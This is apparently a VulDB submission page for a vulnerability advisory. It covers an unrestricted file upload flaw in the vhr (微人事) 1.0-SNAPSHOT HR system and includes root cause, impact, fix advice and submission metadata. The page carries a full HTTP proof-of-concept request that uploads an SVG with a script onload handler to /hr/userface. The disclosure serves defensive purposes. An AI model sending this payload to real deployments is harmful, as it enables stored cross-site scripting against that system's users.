| タイトル | lenve vhr 1.0-SNAPSHOT Unrestricted Upload |
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| 説明 | vhr（微人事） — Unrestricted File Upload on POST /hr/userface (VHR-VULN-005)
Product: vhr（微人事） 1.0-SNAPSHOT
CWE: CWE-434
Classification: Unrestricted Upload
=== ROOT CAUSE ===
`FastDFSUtils.upload()` — no file type validation.
=== REPRODUCTION ===
Avatar upload accepts arbitrary extensions (e.g. SVG) without MIME/extension whitelist.
PoC:
POST /hr/userface HTTP/1.1
Host: TARGET
Content-Type: multipart/form-data; boundary=----BOUNDARY
Cookie: JSESSIONID=SESSION_LIBAI
Connection: close
------BOUNDARY
Content-Disposition: form-data; name="id"
5
------BOUNDARY
Content-Disposition: form-data; name="file"; filename="poc.svg"
Content-Type: image/svg+xml
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
------BOUNDARY--
Expected: {"status":200,"msg":"更新成功!"}
=== IMPACT ===
Stored XSS if uploaded content is served inline from FastDFS/CDN.
=== FIX ===
Whitelist image extensions; validate magic bytes; strip SVG scripts.
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| ソース | ⚠️ https://github.com/ArrestX/vhr-advisories/blob/main/advisories/VHR-VULN-005-unrestricted-upload.md |
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| ユーザー | Anonymous User |
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| 送信 | 2026年07月16日 13:51 (2 月 ago) |
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| モデレーション | 2026年09月12日 10:24 (2 months later) |
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| ステータス | 承諾済み |
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| VulDBエントリ | 403088 [lenve vhr 1.0-SNAPSHOT Avatar Upload /hr/userface FastDFSUtils.upload ファイル 特権昇格] |
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| ポイント | 20 |
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